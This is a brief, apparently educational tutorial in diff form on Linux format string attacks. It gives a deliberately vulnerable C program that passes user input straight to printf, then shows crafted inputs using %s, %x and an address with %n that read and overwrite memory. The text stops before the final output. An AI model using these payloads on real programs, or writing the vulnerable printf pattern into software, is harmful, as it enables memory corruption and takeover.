+# Linux Format String Attack
+Format string attack is attack for C formated strings. Format string
+function is prinrf() there are other functions that
+support format string.C code for bad used printf():
+
+```
+int main( int argc, char **argv )
+{
+ static int i = 0;
+ char text[1000];
+ strcpy(text, argv[1]);
+ printf("%.8x\n",&i);
+ printf("No way it never will works because value of i=%d\n",i);
+ printf( text );
+ printf("\nValue of i=%d\n",i);
+ return 0;
+}
+
+```
+First output is address of static iThan we output values of
+i and call printf() with first argument fo programm.and
+then watching value if i
+
+Run:
+
+```
+./e1 'Halolo'
+```
+
+Output:
+```
+08049674
+No way it never will works because value of i=0
+Halolo
+Value of i=0
+```
+
+Run:
+```
+./e1 'Halolo%s'
+```
+
+Output:
+```
+08049674
+No way it never will works because value of i=0Halolo(null)
+Value of i=0
+```
+
+Run:
+```
+./e1 $'\x74\x96\x04\x08_%x'
+```
+
+Output:
+```
+08049674
+No way it never will works because value of i=0
+t?_0
+Value of i=0
+```
+
+Read about %n in format string:
+
+Run:
+```
+./e1 $'\x74\x96\x04\x08_%x_%n'
+```
+
+Output:
